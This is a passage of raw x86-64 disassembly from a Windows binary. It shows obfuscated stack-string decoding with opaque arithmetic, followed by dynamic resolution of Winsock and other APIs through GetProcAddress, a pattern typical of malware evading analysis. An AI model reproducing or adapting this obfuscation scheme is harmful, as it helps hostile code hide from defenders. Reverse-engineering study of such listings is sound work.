and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x30
jmp 0x140071493
lea ecx, [r11 + 0x80]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x80
movzx r10d, r11b
jmp 0x140071dc2
lea edx, [r11 + 0x20]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
inc r8
dec r11
inc r11
jmp 0x140071483
lea ecx, [r11 - 0x40]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x40
dec r11
inc r11
jmp 0x140071483
lea edx, [r11 + 0x60]
movzx eax, dl
and al, r9b
mov ecx, 0x30
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx r10d, r11b
jmp 0x140071e06
movzx ecx, r11b
and cl, r9b
add cl, cl
movzx edi, r11b
sub dil, cl
add dil, r9b
jmp 0x140071e28
lea ecx, [r11 - 0x60]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x60
jmp 0x140071e2b
lea edx, [r11 + 0x40]
movzx eax, dl
and al, r9b
mov ecx, 0x20
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140071e6b
lea ecx, [r11 - 0x20]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x20
jmp 0x140071e93
lea ecx, [r11 + 0x80]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x80
movzx eax, byte [rbp + r11 - 0x10]
add rax, r8
add r11, rax
inc r11
jmp 0x140071483
lea edx, [r11 - 0x70]
movzx eax, dl
and al, r9b
mov ecx, 8
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
mov byte [rbp + r11 - 0x10], dil
inc r11
jmp 0x140071483
lea ecx, [r11 + 0x30]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x50
cmp r8, 0x61
jb 0x1400718c4
movzx r10d, r11b
lea ecx, [r10 + 0x20]
movzx eax, cl
and al, r9b
mov edx, reloc.WS2_32.dll_recv
sub dl, al
add dl, dl
add dl, cl
add dl, r9b
lea edi, [rdx + rdx]
jmp 0x140071dc2
lea edx, [r11 - 0x30]
movzx eax, dl
and al, r9b
mov ecx, 0x28
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
cmp rbx, 3
jae 0x140071d02
lea rax, [r8 + 4]
cmp rbx, rax
jbe 0x140071c58
lea edx, [r11 + 0x60]
movzx eax, dl
and al, r9b
mov ecx, 0x30
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x1400718e7
lea ecx, [r11 + 0x70]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x10
lea rax, [r8 + rbx]
cmp rax, 0x400
je 0x140071d2d
lea rax, [r8 + 0x20]
cmp rbx, rax
jbe 0x140071b77
lea ecx, [r11 + 0x70]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x10
jmp 0x14007192b
lea ecx, [r11 - 0x60]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x60
movzx eax, byte [rbp + r11 - 0x10]
add rax, r8
add r11, rax
inc r11
jmp 0x140071483
lea edx, [r11 + 0x40]
movzx eax, dl
and al, r9b
mov ecx, 0x20
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140071e93
lea ecx, [r11 - 0x20]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x20
jmp 0x140071e6b
lea ecx, [r11 + 0x80]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x80
jmp 0x140071e2b
lea edx, [r11 + 0x20]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140071e28
lea edx, [r11 + 0x60]
movzx eax, dl
and al, r9b
mov ecx, 0x30
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
dec r11
inc r11
jmp 0x140071483
movzx ecx, r11b
and cl, r9b
add cl, cl
movzx edi, r11b
sub dil, cl
add dil, r9b
inc r8
dec r11
inc r11
jmp 0x140071483
movzx r10d, r11b
lea ecx, [r10 - 0x60]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x60
jmp 0x140071dc2
lea rax, [r8 + 0x10]
cmp rbx, rax
jae 0x140071ad3
lea ecx, [r11 + 0x30]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x50
jmp 0x140071974
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140071b06
lea ecx, [r11 - 0x20]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x20
movzx eax, byte [rbp + r11 - 0x10]
add rax, r8
add r11, rax
inc r11
jmp 0x140071483
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140071b2a
lea ecx, [r11 - 0x60]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x60
jmp 0x140071e6b
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140071b4b
movzx ecx, r11b
and cl, r9b
add cl, cl
movzx edi, r11b
sub dil, cl
add dil, r9b
jmp 0x140071e2b
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x140071974
movzx r10d, r11b
lea ecx, [r10 - 0x40]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x40
jmp 0x140071e06
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140071ba3
movzx r10d, r11b
lea edx, [r10 - 0x30]
movzx eax, dl
and al, r9b
mov ecx, 0x28
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140071dc2
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140071bd1
lea edx, [r11 - 0x70]
movzx eax, dl
and al, r9b
mov ecx, 8
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
dec r11
inc r11
jmp 0x140071483
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x140071bf9
lea edx, [r11 - 0x50]
movzx eax, dl
and al, r9b
mov ecx, 0x18
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140071e2b
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140071c1d
lea ecx, [r11 + 0x10]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x70
jmp 0x140071e6b
lea rax, [r8 + 8]
cmp rbx, rax
jne 0x14007192b
lea edx, [r11 - 0x30]
movzx eax, dl
and al, r9b
mov ecx, 0x28
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx eax, byte [rbp + r11 - 0x10]
add rax, r8
add r11, rax
inc r11
jmp 0x140071483
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140071c8b
lea ecx, [r11 - 0x40]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x40
movzx eax, byte [rbp + r11 - 0x10]
add rax, r8
add r11, rax
inc r11
jmp 0x140071483
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140071cb2
lea ecx, [r11 + 0x80]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x80
jmp 0x140071e6b
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140071cd6
lea ecx, [r11 - 0x20]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x20
jmp 0x140071e2b
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x1400718e7
lea edx, [r11 + 0x40]
movzx eax, dl
and al, r9b
mov ecx, 0x20
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140071e28
movzx r10d, r11b
lea edx, [r10 + 0x80]
movzx eax, dl
and al, r9b
add al, al
movzx edi, byte [rbp + r11 - 0x10]
sub dil, al
add dil, 0x80
add dil, r9b
add dil, dl
jmp 0x140071e06
lea ecx, [r11 - 0x20]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
sub cl, byte [rbp + r11 - 0x10]
lea edi, [r9 + rcx]
sub dil, 0x20
jmp 0x140071e6b
lea edx, [r11 - 0x70]
movzx eax, dl
and al, r9b
mov ecx, 8
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140071e6b
lea ecx, [r11 + 0x30]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x50
jmp 0x140071e2b
lea ecx, [r11 + 0x10]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x70
dec r11
inc r11
jmp 0x140071483
movzx r10d, r11b
lea ecx, [r10 + 0x50]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x30
add r10b, 0x50
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
sub r9b, 0x30
add r9b, r10b
mov byte [rbp + r11 - 0x10], r9b
inc r8
dec r11
inc r11
jmp 0x140071483
movzx r10d, r11b
lea ecx, [r10 + 0x70]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x10
sub r10b, 0x50
movzx eax, r9b
and al, r10b
mov ecx, 0x18
sub cl, al
add cl, cl
add cl, r9b
add cl, r10b
add cl, dil
mov byte [rbp + r11 - 0x10], cl
add rbx, r8
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
inc r11
jmp 0x140071483
movabs rdx, 0x3712d19860171450
add rdx, r11
movzx r9d, r10b
movzx eax, dl
and al, r10b
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x30
add dil, dl
lea edx, [r11 + 0x10]
movzx eax, r9b
and al, dl
add al, al
movzx ecx, r9b
sub cl, al
sub cl, 0x70
add cl, dl
movzx eax, cl
mov byte [rbp + r11 - 0x10], al
inc r8
add rax, r8
sub r11, rax
lea edx, [r11 + 0x40]
movzx eax, r9b
and al, dl
mov ecx, 0x20
sub cl, al
add cl, cl
add cl, r9b
add cl, dl
mov byte [rbp + r11 - 0x10], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r11, rax
movzx eax, byte [rbp + r11 - 0x10]
add rax, r8
add r11, rax
inc r11
jmp 0x140071483
movabs rcx, 0x855135414dc0bf90
add rcx, r11
movzx eax, cl
and al, r10b
mov edx, 8
sub dl, al
lea edi, [rdx + rdx]
add dil, cl
add dil, r10b
movzx eax, byte [rbp + r11 - 0x10]
add rax, r8
add r11, rax
inc r11
jmp 0x140071483
sub r11b, 0x10
movzx eax, r11b
and al, r9b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, r11b
add dil, r9b
jmp 0x140071480
sub r11b, 0x70
movzx eax, r11b
and al, r9b
mov ecx, 8
sub cl, al
lea edi, [rcx + rcx]
add dil, r11b
add dil, r9b
jmp 0x140071470
lea rdx, [rbp + 0x1403c30]
jmp 0x140071f67
lea rdx, [rbp + 0x95d160]
jmp 0x140071f67
lea rdx, [rbp - 0x10]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r14, rax
mov byte [rbp + 0x1c0], 0x9b
mov byte [rbp + 0x1c1], 0x4d
mov byte [rbp + 0x1c2], 0x43
mov byte [rbp + 0x1c3], 0x46
mov byte [rbp + 0x1c4], 0x42
mov byte [rbp + 0x1c5], 0x59
mov byte [rbp + 0x1c6], 0x7a
mov byte [rbp + 0x1c7], 0x40
mov byte [rbp + 0x1c8], 0x63
mov byte [rbp + 0x1c9], WSACleanup
mov byte [rbp + 0x1ca], 0x40
mov byte [rbp + 0x1cb], 0x4e
mov byte [rbp + 0x1cc], 0x51
mov byte [rbp + 0x1cd], 0x5b
mov byte [rbp + 0x1ce], 0xce
xor eax, eax
mov qword [rbp + 0x1cf], rax
mov word [rbp + 0x1d7], ax
movzx edi, byte [rbp + 0x3e0]
call fcn.140004d90
mov rbx, qword [rax]
call fcn.140004da0
mov r8, qword [rax]
xor r10d, r10d
cmp r10, 0x19
jae 0x140072b7f
movzx r9d, byte [rbp + r10 + 0x1c0]
mov r11, r9
nop dword [rax]
cmp rbx, r10
ja 0x140072b73
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x140072055
movabs rcx, 0xcc31d39ceeab65e4
add rcx, r10
mov rax, r9
and rax, rcx
imul rdi, rax, 0xfffffffffffffffe
add rdi, r9
add rdi, rcx
sub dil, 0x3c
jmp 0x140072082
je 0x140072af0
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140072ab7
lea rax, [r8 + 5]
cmp rbx, rax
je 0x140072a98
lea rax, [r8 + 4]
cmp rbx, rax
je 0x140072a50
cmp r8, r10
ja 0x140072b67
lea rax, [r8 + 0x61]
cmp rbx, rax
jae 0x1400720b0
lea edx, [r10 - 0x4c]
movzx eax, dl
and al, r9b
mov ecx, 0xa
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x1400720f0
lea rax, [r8 + 1]
cmp rbx, rax
je 0x140072a05
lea rax, [r8 + 2]
cmp rbx, rax
je 0x1400729e3
lea rax, [r8 + 5]
cmp rbx, rax
je 0x1400729c4
lea rax, [r8 + 7]
cmp rbx, rax
je 0x140072965
nop dword [rax]
nop dword [rax + rax]
lea rax, [r8 + rbx]
cmp rax, r10
jbe 0x140072648
nop dword [rax]
lea rax, [r8 + 8]
cmp rbx, rax
je 0x140072628
lea rax, [r8 + 0x61]
cmp rbx, rax
je 0x140072603
lea rax, [r8 + 0x10]
cmp rbx, rax
je 0x1400725de
lea rax, [r8 + 0x64]
cmp rbx, rax
je 0x1400725be
lea rax, [r8 + 4]
cmp rbx, rax
je 0x1400725b0
lea rax, [r8 + 0xa]
cmp rbx, rax
je 0x140072594
lea rax, [r8 + 0x41]
cmp rbx, rax
je 0x140072574
lea rax, [r8 + 0x28]
cmp rbx, rax
je 0x140072558
lea rax, [r8 + 0x200]
cmp rbx, rax
je 0x14007253c
lea rax, [r8 + 6]
cmp rbx, rax
je 0x140072100
lea rbx, [r8 + 0x40]
lea r8, [rbx + 0x20]
lea rax, [r8 + 0x3e8]
cmp rbx, rax
jb 0x140072b47
lea rax, [r8 + 8]
cmp rbx, rax
jb 0x140072b2a
lea rax, [r8 + 0x28]
cmp rbx, rax
jb 0x1400722f4
lea rax, [r8 + 1]
cmp rbx, rax
jb 0x1400722d5
lea rcx, [r8 + 0x64]
cmp rbx, rcx
jb 0x1400722b6
lea rax, [r8 + 0x1000]
cmp rbx, rax
jb 0x1400724eb
lea rax, [r8 + 0xa]
cmp rbx, rax
jb 0x1400724a1
lea rax, [r8 + 0x42]
cmp rbx, rax
jb 0x14007245a
lea rax, [r8 + 3]
cmp rbx, rax
jb 0x140072433
lea rax, [r8 + 0x200]
cmp rbx, rax
jb 0x140072100
mov rbx, rcx
lea r8, [rcx + 0x7a]
lea rax, [r8 + 4]
cmp rcx, rax
ja 0x140072417
lea rax, [r8 + 0x3e8]
cmp rcx, rax
ja 0x1400723fb
lea rax, [r8 + 0x41]
cmp rcx, rax
ja 0x1400723db
lea rax, [r8 + 0x28]
cmp rcx, rax
ja 0x1400723bf
lea rax, [r8 + 0x200]
cmp rcx, rax
ja 0x14007239d
lea rax, [r8 + 6]
cmp rcx, rax
ja 0x14007237d
lea rax, [r8 + 0x1000]
cmp rcx, rax
ja 0x14007235b
lea rax, [r8 + 0x2a]
cmp rcx, rax
ja 0x140072333
lea rax, [r8 + 0x42]
cmp rcx, rax
ja 0x140072313
lea rax, [r8 + 0x400]
cmp rcx, rax
ja 0x140072100
lea rbx, [r8 + 1]
lea r8, [rbx + 9]
jmp 0x140072100
lea edx, [r10 - 0x34]
movzx eax, r9b
and al, dl
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x1400720f0
lea edx, [r10 + 4]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x1c
add dil, dl
jmp 0x140072082
lea edx, [r10 + 0x3c]
movzx eax, r9b
and al, dl
mov ecx, 0x2e
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x140072019
lea edx, [r10 - 0x60]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x60
movzx r11d, r10b
jmp 0x140072a20
lea edx, [r10 - 0x28]
movzx eax, r9b
and al, dl
mov ecx, ntohs
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
inc r8
dec r10
inc r10
jmp 0x140072006
lea ecx, [r10 + 0x10]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x70
dec r10
inc r10
jmp 0x140072006
lea edx, [r10 + 0x48]
movzx eax, r9b
and al, dl
mov ecx, 4
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
movzx r11d, r10b
jmp 0x140072a6b
lea ecx, [r10 + 0x80]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
add dil, 0x80
add rbx, r8
jmp 0x140072ad7
lea ecx, [r10 - 0x48]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 8
jmp 0x140072ad7
lea edx, [r10 - 0x10]
movzx eax, r9b
and al, dl
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
movzx r11d, r10b
jmp 0x140072933
lea edx, [r10 + 0x28]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x18
jmp 0x14007297c
lea edx, [r10 + 0x60]
movzx eax, r9b
and al, dl
mov ecx, 0x30
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
jmp 0x140072b10
lea ecx, [r10 - 0x14]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x74
mov byte [rbp + r10 + 0x1c0], dil
inc r10
jmp 0x140072006
lea edx, [r10 + 0x24]
movzx eax, r9b
and al, dl
mov ecx, 2
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
cmp r8, 0x400
jb 0x14007244a
movzx r11d, r10b
lea edx, [r11 - 0x28]
movzx eax, r9b
and al, dl
mov ecx, ntohs
sub cl, al
add cl, cl
add cl, r9b
add cl, dl
lea edi, [rcx + rcx]
jmp 0x140072a23
lea edx, [r10 + 0x5c]
movzx eax, r9b
and al, dl
mov ecx, 0x3e
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
cmp rbx, 9
jae 0x1400728f3
lea rax, [r8 + 0x64]
cmp rbx, rax
jbe 0x140072825
lea edx, [r10 + 8]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x38
jmp 0x140072471
lea edx, [r10 - 0x6c]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0xc
add dil, dl
lea rax, [r8 + rbx]
cmp rax, 6
je 0x14007291b
lea rcx, [r8 + 4]
cmp rbx, rcx
jbe 0x14007275b
lea edx, [r10 + 0x54]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x4c
jmp 0x1400724b8
lea edx, [r10 + 0x38]
movzx eax, r9b
and al, dl
mov ecx, 0x3c
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
jmp 0x140072b10
lea edx, [r10 + 0x70]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x10
jmp 0x14007297c
movzx r11d, r10b
lea edx, [r11 - 0x58]
movzx eax, r9b
and al, dl
mov ecx, 0x34
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
jmp 0x140072933
lea ecx, [r10 - 0x20]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x20
jmp 0x140072ad7
lea edx, [r10 + 0x18]
mov ecx, 0x2c
jmp 0x140072aa1
movzx r11d, r10b
lea edx, [r11 + 0x50]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x30
jmp 0x140072a6b
lea edx, [r10 - 0x78]
movzx eax, r9b
and al, dl
mov ecx, 0x24
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
dec r10
inc r10
jmp 0x140072006
lea ecx, [r10 - 0x40]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x40
inc r8
dec r10
inc r10
jmp 0x140072006
movzx r11d, r10b
lea edx, [r11 - 8]
movzx eax, r9b
and al, dl
mov ecx, 0x1c
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
jmp 0x140072a20
lea rax, [r8 + 0x2a]
cmp rbx, rax
jae 0x14007266d
lea edx, [r10 - 0x1c]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x3c
jmp 0x140072502
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140072692
lea edx, [r10 + 0x68]
movzx eax, r9b
and al, dl
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
jmp 0x140072b10
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x1400726b7
lea edx, [r10 + 0x30]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x50
jmp 0x14007297c
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x1400726d2
lea edx, [r10 - 0x78]
mov ecx, 0x24
jmp 0x140072aa1
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140072700
lea edx, [r10 + 0x18]
movzx eax, r9b
and al, dl
mov ecx, 0x2c
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
dec r10
inc r10
jmp 0x140072006
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x14007272e
lea ecx, [r10 - 0x20]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x20
inc r8
dec r10
inc r10
jmp 0x140072006
lea rax, [r8 + 9]
cmp rbx, rax
jne 0x140072505
movzx r11d, r10b
lea edx, [r11 - 0x58]
movzx eax, r9b
and al, dl
mov ecx, 0x34
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
jmp 0x140072a20
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140072784
movzx r11d, r10b
lea edx, [r11 + 0x1c]
movzx eax, r9b
and al, dl
mov ecx, 0x1e
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
jmp 0x140072a20
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x1400727b2
lea edx, [r10 - 0x54]
movzx eax, r9b
and al, dl
mov ecx, 0x26
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
dec r10
inc r10
jmp 0x140072006
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x1400727d7
lea ecx, [r10 + 4]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
jmp 0x140072ad3
cmp rbx, rcx
jne 0x1400727fc
movzx r11d, r10b
lea edx, [r11 - 0x34]
movzx eax, r9b
and al, dl
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
jmp 0x140072933
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x1400724bb
lea edx, [r10 - 0x6c]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0xc
jmp 0x14007297c
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14007284a
lea edx, [r10 - 0x30]
movzx eax, r9b
and al, dl
mov ecx, 0x28
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
jmp 0x140072b10
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140072873
movzx r11d, r10b
lea edx, [r11 + 0x60]
movzx eax, r9b
and al, dl
mov ecx, 0x30
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
jmp 0x140072933
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x140072898
lea ecx, [r10 + 0x28]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x18
jmp 0x140072ad7
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x1400728c6
lea ecx, [r10 + 0x80]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
add dil, 0x80
dec r10
inc r10
jmp 0x140072006
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x140072474
movzx r11d, r10b
lea edx, [r11 + 0x10]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x70
jmp 0x140072a20
movzx r11d, r10b
lea edx, [r11 - 0x60]
movzx eax, r9b
and al, dl
add al, al
movzx edi, byte [rbp + r10 + 0x1c0]
sub dil, al
sub dil, 0x60
add dil, r9b
jmp 0x140072a6b
movzx r11d, r10b
lea edx, [r11 + 0x68]
movzx eax, r9b
and al, dl
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add r11b, 0x4c
movzx eax, r9b
and al, r11b
add al, al
movzx ecx, r9b
sub cl, al
sub cl, 0x14
add cl, r11b
movzx eax, cl
mov byte [rbp + r10 + 0x1c0], al
inc r8
add rax, r8
sub r10, rax
jmp 0x14007297f
lea edx, [r10 - 0xc]
movzx eax, r9b
and al, dl
mov ecx, 0x2a
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
lea ecx, [r10 + 0x30]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
sub r9b, 0x50
add r9b, cl
mov byte [rbp + r10 + 0x1c0], r9b
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r10, rax
movzx eax, byte [rbp + r10 + 0x1c0]
add rax, r8
add r10, rax
inc r10
jmp 0x140072006
lea edx, [r10 + 0x64]
movzx eax, r9b
and al, dl
mov ecx, 0x22
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x140072ad7
lea ecx, [r10 + 0xc]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x54
dec r10
inc r10
jmp 0x140072006
movzx r11d, r10b
lea edx, [r11 + 0x7c]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x64
add dil, dl
sub r11b, 0x44
movzx eax, r9b
and al, r11b
add al, al
sub r9b, al
sub r9b, 0x24
add r9b, r11b
mov byte [rbp + r10 + 0x1c0], r9b
inc r8
dec r10
inc r10
jmp 0x140072006
movzx r11d, r10b
lea edx, [r11 - 0x6c]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0xc
add dil, dl
sub r11b, 0x7c
movzx eax, r9b
and al, r11b
mov ecx, 0x32
sub cl, al
add cl, cl
add cl, r9b
add cl, r11b
add cl, dil
mov byte [rbp + r10 + 0x1c0], cl
add rbx, r8
jmp 0x140072ad7
lea edx, [r10 - 0x34]
mov ecx, gethostname
movzx eax, r9b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
add rbx, r8
jmp 0x140072ad7
movabs rcx, 0x2dc0708464069504
add rcx, r10
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea edi, [rcx + r11]
sub dil, 0x1c
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r10, rcx
inc r10
jmp 0x140072006
movabs rdx, 0x64957ad6cc0231ac
add rdx, r10
movzx eax, r11b
and al, dl
mov ecx, 0x26
sub cl, al
lea edi, [rcx + rcx]
add dil, r11b
add dil, dl
movzx eax, byte [rbp + r10 + 0x1c0]
add rax, r8
add r10, rax
inc r10
jmp 0x140072006
add r10b, 0x74
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x2c
jmp 0x140072003
sub r10b, 0x54
movzx eax, r9b
and al, r10b
mov ecx, 0x26
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x140071ff3
lea rdx, [rbp + 0x16876f0]
jmp 0x140072b86
lea rdx, [rbp + 0x93dcd4]
jmp 0x140072b86
lea rdx, [rbp + 0x1c0]
mov rcx, qword [rbp + 0x3e8]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp qword [rsp + 0x28], 0
je 0x140072dde
cmp qword [rsp + 0x30], 0
je 0x140072dde
cmp qword [rsp + 0x38], 0
je 0x140072dde
cmp qword [rsp + 0x40], 0
je 0x140072dde
cmp qword [rsp + 0x48], 0
je 0x140072dde
cmp qword [rsp + 0x50], 0
je 0x140072dde
cmp qword [rsp + 0x58], 0
je 0x140072dde
cmp qword [rsp + 0x60], 0
je 0x140072dde
cmp qword [rsp + 0x68], 0
je 0x140072dde
cmp qword [rsp + 0x70], 0
je 0x140072dde
cmp qword [rsp + 0x78], 0
je 0x140072dde
